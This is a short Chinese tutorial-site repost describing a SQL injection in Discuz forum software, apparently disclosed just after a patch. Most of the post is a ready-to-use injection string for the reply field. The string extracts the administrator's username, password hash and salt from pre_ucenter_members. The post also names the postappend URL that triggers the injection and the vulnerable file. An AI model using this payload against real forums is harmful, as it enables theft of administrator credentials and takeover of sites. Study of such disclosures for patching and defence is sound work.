来源：自学PHP网 时间：2015-04-17 14:47 作者： 阅读:次
[导读] By：jannock今天才发现，discuz 昨天又出补丁了。唉，又少一个玩了。这里说一下细节让大家共同学习一下吧。在发表回复的地方输入注入语句：a#39;,`subject`=(/*!select*/ concat(username,#39;|#39;...
|
By：jannock 今天才发现，discuz 昨天又出补丁了。唉，又少一个玩了。这里说一下细节让大家共同学习一下吧。 在发表回复的地方输入注入语句： a',`subject`=(/*!select*/ concat(username,'|',password,'|',salt) from pre_ucenter_members where uid=1 limit 0,1),comment=' 然后到回复补充那里随便补充一下，注入语句就被执行。 补充的地址：www.2cto.com forum.php?mod=misc&tid={tid}&action=postappend&pid={pid} 上面的语句就会把取得的内容写进回复主题返回。 漏洞文件： source\module\forum\forum_misc.php
|
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习，以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明：本站所有视频，教程都由网友上传，站长收集和分享给大家学习使用，如由牵扯版权问题请联系站长邮箱904561283@qq.com
